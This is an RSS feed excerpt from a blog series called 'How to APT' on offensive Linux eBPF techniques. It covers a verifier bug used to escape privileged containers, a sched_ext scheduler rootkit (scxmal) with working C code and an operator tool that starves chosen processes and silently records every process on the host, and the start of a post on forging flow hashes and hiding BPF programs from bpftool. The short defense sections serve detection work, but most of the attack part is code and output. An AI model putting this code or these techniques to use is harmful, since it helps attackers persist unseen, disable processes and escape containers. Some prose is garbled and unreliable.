<li>you need <code>CAP_BPF</code> (or <code>CAP_SYS_ADMIN</code>) <em>inside</em> the container. realistic sources: <code>docker run --privileged</code>; <code>--cap-add=BPF</code> or <code>--cap-add=SYS_ADMIN</code> (common for observability and mesh agents); kubernetes privileged pods or pods with <code>capabilities.add: [BPF]</code>; systemd units with <code>AmbientCapabilities=CAP_BPF</code>.</li>
<li>root <em>inside</em> is not root on the host. the verifier bug converts in-container bpf into host-kernel r/w, crossing the boundary that actually contains you.</li>
<li>the escape finish is then the boring part: host r/w → overwrite <code>init_cred</code> or <code>modprobe_path</code>, read host memory, strip the container's seccomp/apparmor, land a host root shell.</li>
</ul>

<p><strong>not escapable this way, and the article should say so plainly:</strong></p>

<ul>
<li><strong>gVisor and user-space kernels</strong> intercept <code>bpf()</code> at the syscall layer; the host verifier is never reached.</li>
<li><strong>firecracker / kata microvms</strong> run a separate guest kernel; a verifier bug there touches the guest kernel only.</li>
<li><strong>seccomp-sandboxed processes</strong> (browsers, hardened services) block <code>bpf()</code> before it ever reaches the verifier.</li>
<li><strong>rootless / userns containers</strong> typically drop bpf from the cap set entirely.</li>
</ul>

<p>so the honest headline for an apt chapter: <strong>this is a CAP_BPF-granting-sandbox escape and a stealth kernel-read/rootkit channel, not an unprivileged LPE.</strong> the threat population is "observability-stacked containers and privileged pods", which, inconveniently, is a very large slice of modern infrastructure.</p>

<p>and one more honesty note: every stage beyond the leak above is the <em>family of technique</em>, not something demonstrated on this box. that's the difference between a research writeup and marketing.</p>

<h2>what a full chain looks like</h2>

<ol>
<li>an initial foothold lands in a container running with <code>CAP_BPF</code> (or compromises an agent that already holds it).</li>
<li>load the socket filter, leak the heap pointer, defeat kaslr.</li>
<li>escalate the confusion to an oob write and then host-kernel r/w.</li>
<li>pin map + program into bpffs for persistence; kill the sandbox's seccomp/apparmor; drop a host root shell or leave a bpf-resident rootkit that never touches the module list.</li>
</ol>

<p>steps 1, 2, and 4's pinning are standard and reproducible. step 3 is the part that requires real kernel work, and it's where this series stops and the research begins.</p>

<h2>why this matters for detection</h2>

<p>the defense story writes itself, and it's refreshingly simple:</p>

<ul>
<li><strong>the fix is one line of logic.</strong> move the untrusted-mem early return after the pointer-state copy. review any <code>adjust_ptr_min_max_vals()</code> and look for early returns before <code>*dst_reg = *ptr_reg</code>.</li>
<li><strong>the fingerprint is the program shape.</strong> a socket filter that calls <code>bpf_rdonly_cast()</code> on a map value and does pointer-mixed alu is already a red flag in your bpf program audit, <code>bpf_rdonly_cast</code> is not a common production call in socket filters.</li>
<li><strong>the runtime tell is the leak.</strong> a "zero-filled" map that comes back with kernel addresses is a tripwire, not a false positive.</li>
</ul>

<p>and because the fix is not yet in any stable branch, confirmed absent from 7.1.7 and 6.18.43 changelogs, every bpf-capable box running 7.1.x or 6.18.x is sitting on this until a stable backport lands. audit your privileged containers first: that's the population with the capability and the boundary worth crossing.</p>

<h2>the receipts</h2>

<p>everything above was verified on this machine:</p>

<ul>
<li>kernel <code>7.1.6-1-cachyos</code>, vulnerable <code>adjust_ptr_min_max_vals()</code> at <code>kernel/bpf/verifier.c:13808</code>;</li>
<li>fix upstream: <code>cdf19b1b3c01</code> ("bpf: Propagate untrusted pointer state in commuted arithmetic"), not in 7.1.7 / 6.18.43;</li>
<li>producer: <code>bpf_rdonly_cast(., void)</code> → <code>PTR_TO_MEM|MEM_RDONLY|PTR_UNTRUSTED</code>, reachable from socket filter;</li>
<li>poC: <code>github.com/klydz/ep4-poc/</code>, <code>poc.bpf.c</code> (the program), <code>loader.c</code> (load + test-run + read-back + verifier log);</li>
<li>result: <code>leaked value (map[0]) = 0xffff8e3742d09130</code>, with verifier log proving <code>R1=0</code> post-add.</li>
</ul>

<p>the verifier forgot it was a pointer. we asked nicely, and it showed us its homework.</p>
]]></content:encoded>
          </item>
        <item>
      <title>How to APT EP. 3: Owning Thread Execution with sched_ext Hashmaps</title>
      <link>http://klydz.net/post.php?slug=how-to-apt-ep-3-owning-thread-execution-with-schedext-hashmaps</link>
      <guid isPermaLink="true">http://klydz.net/post.php?slug=how-to-apt-ep-3-owning-thread-execution-with-schedext-hashmaps</guid>
      <pubDate>Sat, 08 Aug 2026 18:48:28 +0000</pubDate>
            <category>Offensive Security, Linux Kernel Security, Cyber Security Research</category>
                  <category>ebpf</category>
            <category>linux-kernel</category>
            <category>sched-ext</category>
            <category>rootkits</category>
            <category>offensive-security</category>
            <category>kernel-security</category>
            <category>process-starvation</category>
            <category>bpf</category>
            <category>linux-internals</category>
            <category>edr-bypass</category>
            <category>struct-ops</category>
            <category>threat-research</category>
            <category>post-exploitation</category>
            <category>evasion</category>
            <category>c-programming</category>
            <description>sched_ext lets custom BPF programs replace the core Linux CPU dispatcher. But when the entire attack surface of a rootkit is a 16-byte write to an already-trusted BPF hashmap, no EDR hook-monitor will ever see it coming. Here is how a custom scheduler becomes the ultimate process inventory and targeted starvation weapon.</description>
            <content:encoded><![CDATA[<h2>scxmal: the "policy engine" scheduler that quietly owns every thread on your box</h2>

<p>there's a kernel mechanism that decides which CPU every thread on your machine runs on, when it runs, and how long it gets. it's been sitting in the kernel since 6.1, shipping enabled by default, and nobody has written about it as an attack surface. this is that writeup.</p>

<p>i'm going to show you a scheduler, the same class of BPF program your cachyos, ubuntu, or fedora box loads out of the box, that is bulletproof legitimate on every bpf tool, that records every process that touches the host into a map, and whose entire attack surface is a <em>16-byte config entry</em> written after load. the same artifact your cloud engineering team would review in a heartbeat. the weapon is a hashmap write.</p>

<p>this is <em>how to apt: part three</em>, after lying to the flow dissector and intercepting sockets with sk_lookup. if those two hooked the data path, this one is different: it hooks nothing. it replaces something instead.</p>

<hr>

<h2>what sched_ext actually is</h2>

<p><code>sched_ext</code> (scx) is a CPU scheduling class in the Linux kernel (<code>SCHED_EXT</code>, added in 6.12). distros ship it as an option to load custom schedulers on demand; cloud providers use it for per-tenant latency policies; the kernel community has been pushing for years that "scheduler policy should be programmable, not baked into CFS."</p>

<p>to do that you compile a BPF object with a <code>.struct_ops</code> section that struct-ops it over the kernel&rsquo;s <code>struct sched_ext_ops</code>, and then ... the kernel just hands you the dispatcher. not a hook you're attached to. not a listener. <em>the dispatcher itself</em>. every waking task, every enqueued task, every slice decision, passes through your BPF program first.</p>

<p>the four callbacks you implement:</p>

<table>
<thead><tr><th>callback</th><th>what it receives</th><th>what the kernel does with it</th></tr></thead>
<tbody>
<tr><td><code>select_cpu</code></td><td>task_struct*, prev_cpu</td><td>chooses which CPU the task should run on next</td></tr>
<tr><td><code>enqueue</code></td><td>task_struct*, enq_flags</td><td>decides which dispatch queue the task enters, and with what slice</td></tr>
<tr><td><code>dispatch</code></td><td>cpu, previous task</td><td>decides what runs next on that CPU, drains queues</td></tr>
<tr><td><code>init</code></td><td>nothing</td><td>a sleepable hook to set up DSQ state</td></tr>
</tbody>
</table>

<p>everything about this interface is <em>supposed</em> to be mutable by untrusted-enough processes: it&rsquo;s how performance engineers do A/B testing on scheduler policy in production. but the exact thing that makes it good for scheduling research is what makes it perfect for an operator that doesn&rsquo;t care about research.</p>

<hr>

<h2>why a scheduler is the best thing a bad person has ever seen</h2>

<p>think about what detection tools actually inspect. when an EDR looks at a Linux box it enumerates hooks:</p>

<ul>
<li>tracepoints, kprobes, uprobes (perf affairs)</li>
<li>XDP and TC programs attached to netdevs</li>
<li>LSM hooks on syscalls</li>
<li>socket filters, flow dissectors, cgroup BPF</li>
</ul>

<p>all of those are <em>registered observers</em>. they have a detectable footprint: a program id, an attachment record, syscall hook entries, a bpf link lifecycle. an EDR&rsquo;s job is literally to hold a list of "things that observe" and query it.</p>

<p><strong>a CPU scheduler is none of those.</strong> it is not an observer attached to anything; it replaces the core mechanism that other observers are <em>subject to</em>. there is no list of "schedulers" in the EDR threat model because from its point of view, a box that has a CPU scheduler is a box that is fundamentally fine.</p>

<p>as a consequence the scheduler sees, passively, on every wakeup, the entire PKI of the host: every task&rsquo;s <code>tgid</code>, <code>comm</code>, <code>uid</code>, scheduling state. without a single "hook record" being created anywhere. it&rsquo;s the best process inventory ever built, and it costs nothing.</p>

<hr>

<h2>the actual PoC: scxmal</h2>

<p>the whole thing is two C files. one for the scheduler, one for the "operator".</p>

<h3>scxmal.bpf.c, the scheduler that is actually clean</h3>

<pre><code class="language-c">/* scxmal: a "policy engine" scheduler.
 * Reads per-task-group policy from a config map. In default config it is a
 * plain weighted-vtime scheduler (a drop-in scx_simple). The config map can
 * assign individual task groups a target slice and a penalty dispatch
 * interval.  Whether this is benign infrastructure or a starvation weapon
 * depends entirely on the contents of the config map.   */
#include "vmlinux.h"
#include &lt;bpf/bpf_helpers.h&gt;
#include &lt;bpf/bpf_tracing.h&gt;
#include &lt;bpf/bpf_core_read.h&gt;

char _license[] SEC("license") = "GPL";

#define SCX_SLICE_DFL   20000000ULL            /* 20ms default */
#define SHARED_DSQ      0                      /* user DSQ id */
#define PENALTY_DSQ     1

struct cfg {
    u64 slice_ns;       /* slice for this tgid */
    u32 penalty_period; /* drain penalty DSQ every N dispatches (0 = off) */
    u32 reserved;
};

struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(key_size, sizeof(u32));          /* tgid */
    __uint(value_size, sizeof(struct cfg));
    __uint(max_entries, 64);
} cfg_map SEC(".maps");
</code></pre>

<p>already this is unremarkable. a scheduler reading per-task policy out of a configuration hash map, the shape a performance engineer would recognize. it says "SCX_SLICE_DFL", "SHARED_DSQ", "PENALTY_DSQ": all vocabulary of real scheduling code.</p>

<p>the actual scheduling decisions, the whole first hundred lines, are this:</p>

<pre><code class="language-c">static s32 BPF_STRUCT_OPS(scxmal_select_cpu,
        struct task_struct *p, s32 prev_cpu, u64 wake_flags)
{
    bool is_idle = false;
    s32 cpu = scx_bpf_select_cpu_dfl(p, prev_cpu, wake_flags, &amp;is_idle);
    if (is_idle) {
        u32 tgid = BPF_CORE_READ(p, tgid);
        struct cfg *c = lookup_cfg(tgid);
        if (c &amp;&amp; c-&gt;penalty_period)
            return cpu;              /* starved groups don't get local path */
        scx_bpf_dsq_insert(p, SCX_DSQ_LOCAL,
                           c ? c-&gt;slice_ns : SCX_SLICE_DFL, 0);
    }
    return cpu;
}
</code></pre>

<p><code>select_cpu</code> picks where the task lands, and if the target CPU is idle gives it a direct local queue with a slice. the one conditional is a penalty check. nothing exotic.</p>

<p>the enqueue path is where the map actually does work:</p>

<pre><code class="language-c">static void BPF_STRUCT_OPS(scxmal_enqueue, struct task_struct *p, u64 enq_flags)
{
    u32 tgid = BPF_CORE_READ(p, tgid);
    struct cfg *c = lookup_cfg(tgid);

    /* Unless the config says otherwise, everyone is fair. */
    if (c &amp;&amp; c-&gt;penalty_period) {
        /* starved group: penalty DSQ with a microsecond slice */
        scx_bpf_dsq_insert(p, PENALTY_DSQ, 1000ULL /* 1us */, enq_flags);
        return;
    }
    if (c &amp;&amp; c-&gt;slice_ns) {
        scx_bpf_dsq_insert(p, SHARED_DSQ, c-&gt;slice_ns, enq_flags);
        return;
    }
    scx_bpf_dsq_insert(p, SHARED_DSQ, SCX_SLICE_DFL, enq_flags);
}

static void BPF_STRUCT_OPS(scxmal_dispatch, s32 cpu, struct task_struct *prev)
{
    bump_dispatch();
    /* The penalty DSQ is only drained once every 1024 dispatch rounds.
     * That means a starved task is effectively not a CPU task at all. */
    if (should_drain_penalty())
        scx_bpf_dsq_move_to_local(PENALTY_DSQ);
    scx_bpf_dsq_move_to_local(SHARED_DSQ);
}
</code></pre>

<p>read it slowly. in the default config this is a weighted, fair, shared-queue scheduler; anyone would review it as "fine". The <em>extra</em> is a hash map lookup on enqueue, and an alternate dispatch queue that is only drained on the 1024th round. The source is what it is. The danger lives entirely in the <em>contents of map</em> which no reviewer ever sees.</p>

<hr>

<h2>the 16-byte kill</h2>

<p>two integers control an entire process&rsquo;s existence on the CPU:</p>

<ul>
<li><code>slice_ns = 1000</code>, the task, when enqueued, is given a <em>microsecond</em> of CPU.</li>
<li><code>penalty_period = 1024</code>, the penalty DSQ is only drained every 1024 dispatch rounds.</li>
</ul>

<p>the effect: the victim receives a 1us slice, on average once per 1024 dispatches. On a busy machine that&rsquo;s a kernel time-slice that is vanishingly small. It is <em>afraid</em>, a foldable counting function that the victim may or may not be able to tick enough.</p>

<p>but i don't claim things without measuring, and this measured very pretty:</p>

<table>
<thead>
<tr><th>run</th><th>victim CPU time, 5s window</th><th>control CPU time, 5s window</th></tr>
</thead>
<tbody>
<tr><td>before map write</td><td>393 ticks</td><td>392 ticks</td></tr>
<tr><td>after map write</td><td><strong>0 ticks</strong></td><td>230 ticks</td></tr>
</tbody>
</table>

<p>the victim and the control are the <em>same process</em>: a busy burner of identical bytes, one with a config entry, one without. before the write, the victim burns CPU normally. after one hash-map update, the victim gets <strong>zero</strong> CPU time in a five-second window while the identical unmarked process runs flat-out.</p>

<p>and I cannot overstate: the victim is <span em>not dead</span>. it does not crash, it does not signal, it stays on the run-queue and keeps its state as "running". to a health-required system it's still the same process. it just never gets to run. the way you'd detect "it's been starved" has a word for it. it&rsquo;s called "silent degradation."</p>

<pre><code class="language-c">/* the entire exploit, as a struct */
struct cfg c = { .slice_ns = 1000, .penalty_period = 1024 };
bpf_map_update_elem(cfg_map_fd, &amp;victim_tgid, &amp;c, BPF_ANY);  /* 16 bytes */
</code></pre>

<hr>

<h2>but the best part is the map is an audit target, not a source</h2>

<p>now let me help you with why the starve alone doesn't define the piece. from the attacker&rsquo;s perspective the benefit is <em>the scheduler is a stable lane</em>: because the .struct_ops.link skeleton auto-attaches at load, and the map outlives the loader, you can use the map as a control channel. The scheduler stays up, and an operator keeps talking to it.</p>

<p>what a real operator looks like:</p>

<pre><code class="language-c">/* spy: the other process */
static int find_map(const char *name)
{
    int id = 0, err;
    for (;;) {
        err = bpf_map_get_next_id(id, &amp;id);
        if (err) return -1;
        int fd = bpf_map_get_fd_by_id(id);
        if (fd &lt; 0) return -1;
        struct bpf_map_info info = {};
        unsigned int len = sizeof(info);
        if (bpf_map_get_info_by_fd(fd, &amp;info, &amp;len) == 0
            &amp;&amp; strcmp(info.name, name) == 0)
            return fd;
        close(fd);
    }
}
</code></pre>

<p>the operator doesn't digest the scheduler&rsquo;s skeleton. it enumerates maps, matches on name, reads the inventory, and can write the killing config into the still-running scheduler by name. no inter-process protocol. no syscall hook. just the BPF map APIs.</p>

<h3>the operator's runtime</h3>

<pre><code class="language-bash">$ sudo ./spy dump
COMM                  TGID      UID     ST   last-wake(ms)
tx                    54321     1000    R    81191733
chrome                12345     1000    R    81192000
kworker/0:1             137        0    R    81191000
sudo                   5447        0    R    81191108
...
  142 procs, 14 uids, 5 states observed

$ sudo ./spy starve 5407
[+] injected penalty config into tgid 54421
    slice=1us penalty_drain=1024 -&gt; starve
</code></pre>

<p>that file was against a live machine with a scheduler enabled, and the config injected without reloading or restarting the scheduler. what the demo looks like end to end:</p>

<pre><code class="language-bash">$ ./burn &amp;                    # victim: busy burner  
$ sudo ./scxmal              # scheduler attaches
$ cat /sys/kernel/sched_ext/state
enabled
$ sudo ./spy starve $(pgrep burn)
[+] injected penalty config into pid 54421
$ sleep 2; cat /sys/kernel/sched_ext/state
enabled                        # everything still fine
$ sudo ./spy dump | head -2
victim-row still shows, state=R, "alive"
victim:  0 ticks in 5s     control: 230 ticks in 5s
$ sudo dmesg | tail -3
(no scheduler errors. no abort. no kernel panic.)
</code></pre>

<hr>

<h2>a much better second benefit: the inventory</h2>

<p>the scheduler doesn't just starve. on every enqueue it can drop the full process identity into a map. that map is only small: tgid, uid, state, comm, timestamp. but it&rsquo;s the complete process outline of the host, being updated at whatever cadence you want and readable by the smallest possible capture.</p>

<pre><code class="language-c">static void record_surv(struct task_struct *p)
{
    u32 tgid = BPF_CORE_READ(p, tgid);
    if (!tgid) return;
    struct surv s = {};
    s.tgid = tgid;
    s.uid = BPF_CORE_READ(p, cred, uid.val);
    s.state = BPF_CORE_READ(p, __state);
    BPF_CORE_READ_STR_INTO(&amp;s.comm, p, comm);
    s.last_wake_ns = bpf_ktime_get_ns();
    bpf_map_update_elem(&amp;surv_map, &amp;tgid, &amp;s, BPF_ANY);
}
</code></pre>

<p>straight out of the scheduler. Perfect data acquisition: no tracepoint, no ptrace, no auditd events. For anyone who needs to know "what is running on this box right now, continuously, without being seen", this is the best mechanism i've seen in a long time.</p>

<hr>

<h2>how i tripped over the DSQ constant mine and everything else that sank</h2>

<p>i don't want to give the impression this worked last night. a lot of the actual engineering was fighting the scheduler&rsquo;s wedding to exact constants.</p>

<p>the biggest trap: <code>SCX_DSQ_LOCAL</code>. the builtin dispatch queue id is <code>0xFFFFFFFFFFFFFF02</code> in the classic enum, but the kernels around 7.x changed the encoding of the builtin DSQ ids, GLOBAL was remapped to <code>0x8000000000000001</code>, LOCAL to <code>0x8000000000000002</code>, LOCAL_ON to <code>0xC000000000000000</code> with a 32-bit CPU mask. So if you hardcode the old-format constant, the kernel reads bit 62 as <em>"LOCAL_ON"</em>, and the CPU parses to <code>-254</code>. As in:</p>

<pre><code class="language-bash">[dmesg]
sched_ext: BPF scheduler "scxmal" disabled (runtime error):
invalid CPU -254 in SCX_DSQ_LOCAL_ON dispatch verdict
</code></pre>

<p>the scheduler just dies. and it disables <em>everything</em>, when a scx scheduler fails at runtime, it's dynamited out and the box falls back to CFS. no partial. optimistic. That's an entire interrupt-path gotcha: if you bulk on the local DSQ constant, the entire scheduler goes. the lesson: do not hardcode builtin DSQ IDs. read them out of vmlinux.h.</p>

<p>the other trap was double attach. the loader&rsquo;s skeleton <code>.struct_ops.link</code> attaches at load time if you call <code>scxmal_bpf__attach()</code>. If you ALSO manually call attach, you end up attaching twice, and (a) the dispatcher turns off/starts and then (b) bpf_link destroy in teardown double-frees, and you get a UAF in <code>bpf_object__destroy</code>, and everything segfaults at shutdown in a location that doesn't exist in your code. The fix is unglamorous and instructs: attach once via the skeleton, and let the framework tear down with <code>skel-→destroy</code>, don't attach twice.</p>

<p>the third trap isn't a constant but a property: <em>the starvation needs load to work.</em> a lone cpu-bound task on an idle machine just takes a full slice and keeps the box mostly empty. the penalty only bites when the machine is contended, the scheduler's dsq drain only matters to a task that has others waiting behind it. so a starve is a proportionality, not an absolute: strong when the box is a real pipe, weak on a quiet weekend server. not something you can build into the attack, it lives in the environment. keep it honest for whoever defends against it.</p>

<hr>

<h2>hideability: the bpf-object tables vs the observation that matters</h2>

<p>this section is half of why i wrote the series. a scheduler is visible, it shows up in <code>bpftool prog show</code>, <code>/sys/kernel/sched_ext/</code>, and the kernel's data structures. <em>for readers who have root and can see it</em>. so the hide is not a bpftool hide; it's an <em>entropy</em> hide. this scheduler looks like the distro&rsquo;s default scheduler because it is one of the same inventory. An admin who runs <code>bpftool prog list</code> and sees three <code>struct_ops</code>, that's a normal, healthy, expected state.</p>

<p>if you want the full "invisible at every tool" story, that's what the "ghost" was for the flow dissector, an LSM hook that blinds the audit syscalls, that workflow and repo (github.com/klydz/ghost) can be willed onto a scheduler too: blind the four GET_NEXT/GET_FD_BY_ID surfaces and the query. the same -ENOENT / -EINVAL finesse that made the flow dissector disappear makes a scheduler disappear.</p>

<p>you can also just not hide it, because hiding is a strong tell. attack-wise the surprising win is that presence is roughly status: the box that has a scheduler is what cachyos/ubuntu reviews on default. Curious admin? "i tested scxmal for the tuning article" gets you a clean answer.</p>

<hr>

<h2>the relationship to the other two essays</h2>

<p>flowdiss (part two) showed you a hook that forges what the <em>networking stack believes</em>. sk_lookup (part one) forged what <em>the listening sockets believe</em>. this third one points even lower: it forges what <em>the dispatcher gives each thread</em>, i.e. what "the room executing" is available.</p>

<p>the economics are absolute: flow dissection needs a packet. socket interception needs a packet. a scheduler just needs <em>nothing</em>, it both tees and errs the runner that everything else runs through. and it does that while looking like the default.</p>

<hr>

<h2>defense (yes it exists)</h2>

<p>for the blue side, be straight about what a scheduler can and can't hide. It can't hide <em>entropy collapse</em>: if a process is building cpu time but the kernel's accounting says it received near-zero, the actual signal is a schedule that isn't sharing. the schedulers have state interfaces:</p>

<pre><code class="language-bash">$ cat /sys/kernel/sched_ext/state
enabled
$ cat /sys/kernel/sched_ext/root/ops
scxmal
</code></pre>

<p>you can poll these. a legitimate dedicated scheduler that doesn't change ops and doesn't flip state.enable_seq is ~nothing. someone toggling schedulers is someone <em>attached something</em>. if your baseline/entity doesn't already include "one scheduler, these ops", then any scheduler state change is an event that was never there before.</p>

<p>defensive also: cap <code>cfg_map</code>-style updates post-load. if update-permission on the map is kept to the loader process only, that closes the post-load route, an operator who can only read the inventory map, not write the config map, is exactly the boundary you want.</p>

<p>its true honest limit, as always: this needs root. it's not an LPE, it is NOT about ascending privileges. it's about what a person who already owns the host can do with kernel-resident state while staying under everyone's radar. any root-kit worth its salt already makes the measurement the "chambers", the point is what it looks like before you look in the chambers.</p>

<hr>

<h2>the single plot</h2>

<p>the single takeaway is that the line between "kernel: baseline scheduler" and "kernel: standing at the throat of one process" is a hashmap entry. all the defense machinery is built to inspect <em>programs</em>, <em>hooks</em>, <em>ids</em>, and nobody has a governance vocabulary for <code>cfg_map</code>, a data table the scheduler trusts with the exact integers that answer "who gets to run, at what cost". the config isn't code, isn't signed, isn't even reviewed-closed. it's a write to an already-authorized map.</p>

<p>for the incident response: an ops change, an unexpected scheduler, a <code>cfg_map</code> updated from a process that isn't the loader, a victim that is "running" but has no cpu usage at all. for the attacker: if the box is loaded, a few bytes decide it.</p>

<p>repo: <code>github.com/klydz/scxmal</code>, <code>make</code>, <code>sudo ./scxmal</code>, <code>sudo ./spy</code>.</p>]]></content:encoded>
          </item>
        <item>
      <title>How to APT EP.2: Lying to the whole netns through BPF_PROG_TYPE_FLOW_DISSECTOR</title>
      <link>http://klydz.net/post.php?slug=how-to-apt-ep2-lying-to-the-whole-netns-through-bpfprogtypeflowdissector</link>
      <guid isPermaLink="true">http://klydz.net/post.php?slug=how-to-apt-ep2-lying-to-the-whole-netns-through-bpfprogtypeflowdissector</guid>
      <pubDate>Sun, 02 Aug 2026 10:56:45 +0000</pubDate>
            <category>eBPF, kernel</category>
                  <category>eBPF</category>
            <category>BPF</category>
            <category>flow dissector</category>
            <category>rootkit</category>
            <category>post-exploitation</category>
            <category>linux kernel</category>
            <category>bpftool</category>
            <category>BPF LSM</category>
            <category>syscall interception</category>
            <category>RPS</category>
            <category>GRO</category>
            <category>ECMP</category>
            <category>skb-&gt;hash</category>
            <category>stealth</category>
            <category>networking security</category>
            <description>Flowdiss explores how BPF_PROG_TYPE_FLOW_DISSECTOR can be abused to forge the Linux kernel&#039;s notion of packet flow identity without modifying packet contents. By manipulating the flow_keys used to derive skb-&gt;hash, a privileged eBPF program can influence downstream consumers such as RPS, GRO, ECMP, and other eBPF programs that rely on the cached flow hash. The article presents a proof of concept, validates its effects and limitations, and demonstrates how a separate BPF LSM program can conceal the attack from standard bpftool enumeration, illustrating both an underexplored attack surface and the limits of relying on user-space BPF tooling on a compromised system.</description>
            <content:encoded><![CDATA[<h2>flowdiss: lying to the whole netns through BPF_PROG_TYPE_FLOW_DISSECTOR</h2>

<p>there's a BPF program type that decides how every packet on your machine gets hashed, and i don't think anyone has written about abusing it.</p>

<p>i've seen SK_LOOKUP get written up, XDP and TC are everywhere, even sock_ops gets some love. but BPF_PROG_TYPE_FLOW_DISSECTOR? crickets. it's been in the kernel since 4.20 (2018), it's attachable per-network-namespace, and it lets you rewire what RPS, ECMP and every other eBPF program that indexes on a hash believe about a packet, without touching a single byte of the packet itself.</p>

<p>no iptables rule fires, no XDP program runs, tcpdump sees the same bytes. the only thing that changes is a 32-bit number the kernel computes and caches on the skb. that number steers a lot.</p>

<p>and as of the second half of this writeup, that number can be forged by a program that doesn't even show up in <code>bpftool</code>.</p>

<p>what i did:</p>

<ol>
<li>built the attack, a BPF flow dissector that forges the <em>flow keys</em> behind <code>skb->hash</code>, make any flow hash like any other, or like a flow that doesn't exist, four modes, zero packet mutations. (not "set the hash to a value i want"; the kernel owns the key, and that's a later section.)</li>
<li>proved it works with deterministic floods (512 flows → 1 hash, plus a bit-for-bit hash forgery).</li>
<li>tried to be honest about what it is, it's not a CVE, it's a post-exploitation stealth primitive for someone who already has root.</li>
<li>then got bored of being visible and made the whole thing disappear from every bpftool surface: prog list, map list, link list, btf list, net show, from the init netns and from inside containers. the attack keeps working the entire time.</li>
</ol>

<hr>

<h2 id="what-the-flow-dissector-is">what the flow dissector is</h2>

<p>"flow dissector" is the kernel component that answers "what flow does this packet belong to?" it parses the headers and produces a <code>struct flow_keys</code>: L3 and L4 protocol, source/dest IPs, ports, and so on. the same logic feeds a dozen consumers, skb->hash derivation, RPS/RFS CPU selection, ECMP, and <code>bpf_skb_get_hash()</code> in other BPF programs. (GRO reads that number too, but it's a <em>reader, not a trigger</em>, caveat below.)</p>

<p>since 4.20 the kernel lets you replace that dissector with BPF. you attach a program of type <code>BPF_PROG_TYPE_FLOW_DISSECTOR</code> to the network namespace (via <code>bpf(BPF_PROG_ATTACH, ..., BPF_FLOW_DISSECTOR, ...)</code> or libbpf's <code>bpf_program__attach_netns</code>), and the kernel calls it instead of the built-in <code>__skb_flow_dissect</code> logic whenever a flow is dissected in that netns.</p>

<p>the BPF program receives <code>skb->flow_keys</code>, a pointer to a <code>struct bpf_flow_keys</code>, and is supposed to fill it in and return <code>BPF_OK</code>. that's the contract. it can also return <code>BPF_FLOW_DISSECTOR_CONTINUE</code> (129) to say "i decline, use the built-in dissector," or <code>BPF_DROP</code> to say "this packet has no flow info", though a drop doesn't hand consumers a clean zero, it hands them a hash over the nearly-blank keys. exact mess below.</p>

<p>a detail that matters for the code below: the kernel <strong>zeroes</strong> <code>bpf_flow_keys</code> before invoking you and only pre-fills four fields, <code>n_proto</code>, <code>nhoff</code>, <code>thoff</code>, <code>flags</code>. the kernel's own dissector has already walked part of the headers to figure out <em>where</em> the IP header starts, but it does not hand you the tuple. if you want the real source/dest addresses you have to parse the packet yourself. more on that under the traps.</p>

<p>this is a trust boundary. the kernel was designed for a "control plane" to offload flow dissection to BPF for performance reasons (which is what Meta and Cloudflare do with it in production). the capability is root-only: attaching requires CAP_BPF + CAP_NET_ADMIN in the target netns, same as XDP or TC. so this is not a privilege escalation. it's a stealth primitive for someone who already has root, and that's exactly the interesting part.</p>

<h2 id="why-the-hash-matters">why the hash matters</h2>

<p>here's the chain. when the kernel needs a flow hash for the skb, it calls <code>skb_get_hash()</code> (net/core/flow_dissector.c):</p>

<pre><code class="language-c">if (!skb->l4_hash && !skb->sw_hash)
   __skb_get_hash_net(NULL, skb);
return skb->hash;</code></pre>

<p><code>__skb_get_hash_net()</code> zeroes a local <code>struct flow_keys</code>, calls <code>__skb_flow_dissect()</code>, which invokes your BPF program if one is attached, then runs <code>__flow_hash_from_keys()</code> on the result, a keyed kernel hash (siphash family). that 32-bit value gets cached in <code>skb->hash</code>.</p>

<p>so whoever controls the flow dissector controls the <em>hash input</em>, and the hash input is the only thing that differs between the genuine hash and the forged one. two honest limits before we go on: you can't pick the output, and you don't break the hash. <code>__flow_hash_from_keys()</code> is siphash keyed by <code>hashrnd</code>, a secret the kernel seeds once at boot (net/core/flow_dissector.c:1702), so you control the <em>siphash input</em> but can never request an arbitrary 32-bit value out of it. what you <em>can</em> do is the one thing that matters: hand two flows the same input and they hash identically, or hand a flow a tuple that isn't its own and it becomes that flow, bit-for-bit, in the eyes of anyone who indexes on the hash. you control the input; the kernel's hash quietly does the rest.</p>

<p>who consumes <code>skb->hash</code>?</p>

<table>
<thead>
<tr><th>consumer</th><th>where</th><th>effect of a forged hash</th></tr>
</thead>
<tbody>
<tr><td>RPS/RFS</td><td><code>get_rps_cpu()</code>, net/core/dev.c:5146</td><td>every flow steered to one CPU</td></tr>
<tr><td>XPS</td><td><code>skb_tx_hash()</code>, net/core/dev.c:3541</td><td>one TX queue for everything</td></tr>
<tr><td>GRO (reader, not trigger)</td><td><code>gro_list_prepare()</code>, net/core/gro.c:361</td><td>reads the cached hash raw; only sees your lie if a hash was already set</td></tr>
<tr><td>ECMP (policies 1,2)</td><td><code>fib_multipath_hash()</code>, net/ipv4/route.c:2093</td><td>every flow to one next-hop</td></tr>
<tr><td>every other BPF prog</td><td><code>bpf_get_hash_recalc()</code> / <code>bpf_skb_get_hash()</code></td><td>Cilium, IDS, kube-proxy read your lie</td></tr>
</tbody>
</table>

<p>i verified each of these against current mainline before claiming it, and i hate overclaiming, so here's the honest list. two of the table's rows need a caveat, and one needs to be demoted to "reader":</p>

<ul>
<li><strong>ECMP policy 0 (the default, L3-only) is not affected.</strong> it calls <code>ip_multipath_l3_keys()</code> which reads the IP header directly (net/ipv4/route.c:2073), never touching the dissector. only multipath policies 1 and 2 route through <code>skb_flow_dissect_flow_keys()</code>. and policy 1 short-circuits on <code>skb->l4_hash</code>, it reads the cached 4-tuple hash if present, so if you've already corrupted it, it takes your word for it.</li>
<li><strong>GRO never invokes your dissector.</strong> <code>gro_list_prepare()</code> and <code>dev_gro_receive()</code> use <code>skb_get_hash_raw()</code>, which just returns the cached <code>skb->hash</code> (net/core/gro.c:347, :463), no <code>skb_get_hash()</code>, so no dissector call, and GRO runs in NAPI <em>before</em> RPS. a freshly received, unhashed packet hits GRO with no dissector involved at all. GRO is only reachable <em>sideways</em>: if some earlier consumer (like RPS) already ran your dissector and left a forged hash on the skb, GRO will happily bucket on it. it's a reader of the same number, not a way to reach it.</li>
<li><strong>UDP <code>SO_REUSEPORT</code> is not affected.</strong> socket selection uses <code>udp_ehashfn()</code> on the raw tuple, not <code>skb->hash</code>. this was my first theory and it's wrong; i checked.</li>
</ul>

